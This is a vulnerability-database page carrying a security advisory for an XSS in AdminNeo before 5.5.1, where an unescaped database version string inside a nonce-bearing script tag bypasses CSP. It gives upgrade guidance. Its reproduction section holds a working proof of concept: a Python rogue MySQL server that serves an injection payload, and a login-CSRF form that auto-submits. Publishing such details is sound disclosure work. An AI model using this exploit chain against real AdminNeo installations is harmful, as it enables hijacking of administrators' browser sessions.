AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)
CVE-2026-96632 · GHSA-rx7m-wxwq-vxr9 · published 30 Oct 2026
How serious is it
- Severity: high, CVSS score 8.2 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-96632?
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Who is affected
adminneo-org/adminneo(Packagist) < 5.5.1
How to check
- Run
composer show adminneo-org/adminneoin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
adminneo-org/adminneoto 5.5.1 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.
Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
## Prerequisites
- Target runs AdminNeo
- Attacker controls a reachable MySQL server (a 80-line Python script)
## Root Cause
`admin/core/Admin.php`, lines 1285-1286:
```php
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
```
`script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped.
## Steps To Reproduce
### 1. Build the environment
**Dockerfile** (AdminNeo):
```dockerfile
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
```
**rogue_mysql.py** (fake MySQL server that accepts any login):
```python
import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41 = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH = 0x00080000
CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload):
length = struct.pack("<I", len(payload))[:3]
return length + bytes([seq]) + payload
def make_greeting(version_str):
pkt = b"\x0a" # protocol version 10
pkt += version_str.encode() + b"\x00" # version string
pkt += struct.pack("<I", 1) # connection id
pkt += b"\x41" * 8 # auth plugin data part 1
pkt += b"\x00" # filler
pkt += struct.pack("<H", CAPS_LOW) # capability flags lower
pkt += b"\x21" # charset utf8
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper
pkt += b"\x15" # auth data length (21)
pkt += b"\x00" * 10 # reserved
pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2
pkt += b"mysql_native_password\x00" # auth plugin name
return make_packet(0, pkt)
def make_ok(seq):
pkt = b"\x00" # OK marker
pkt += b"\x00" # affected rows
pkt += b"\x00" # last insert id
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", 0) # warnings
return make_packet(seq, pkt)
def make_eof(seq):
pkt = b"\xfe"
pkt += struct.pack("<H", 0) # warnings
pkt += struct.pack("<H", 0x0002) # status flags
return make_packet(seq, pkt)
def make_err(seq, msg=b"not supported"):
pkt = b"\xff"
pkt += struct.pack("<H", 1045)
pkt += b"#HY000"
pkt += msg
return make_packet(seq, pkt)
def handle(conn):
conn.sendall(make_greeting(PAYLOAD))
try:
conn.recv(4096) # client login request
except Exception:
conn.close()
return
conn.sendall(make_ok(2)) # accept login
# Answer any queries Adminer sends after login
while True:
try:
data = conn.recv(4096)
if not data:
break
seq = data[3] + 1
# Send ERR for all queries (Adminer still has the version in memory)
conn.sendall(make_err(seq))
except Exception:
break
conn.close()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
conn, addr = srv.accept()
print(f"[+] Connection from {addr}")
threading.Thread(target=handle, args=(conn,)).start()
```
```shell
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL
python3 rogue_mysql.py
```
### 2. Trigger the XSS
Open a browser and navigate to `http://localhost:8081/adminneo.php`:
1. Select driver: **MySQL**
2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py)
3. Username: `root`
4. Password: `x`
5. Click Login.
The rogue server accepts the login. AdminNeo renders the dashboard and includes:
```html
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
```
The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce.
### 3. Trigger it via Login CSRF
The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:
```html
<form id="f" method="POST" action="http://TARGET/adminneo.php">
<input name="auth[driver]" value="mysql">
<input name="auth[server]" value="ROGUE_IP:3307">
<input name="auth[username]" value="root">
<input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>
```
## Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Check your whole app
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References
- github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9
- github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
- github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd
- github.com/adminneo-org/adminneo/releases/tag/v5.5.1
- github.com/advisories/GHSA-rx7m-wxwq-vxr9
- github.com/adminneo-org/adminneo
Merged from GitHub Advisory Database, OSV. Last updated 31 Oct 2026. All vulnerabilities · RSS · JSON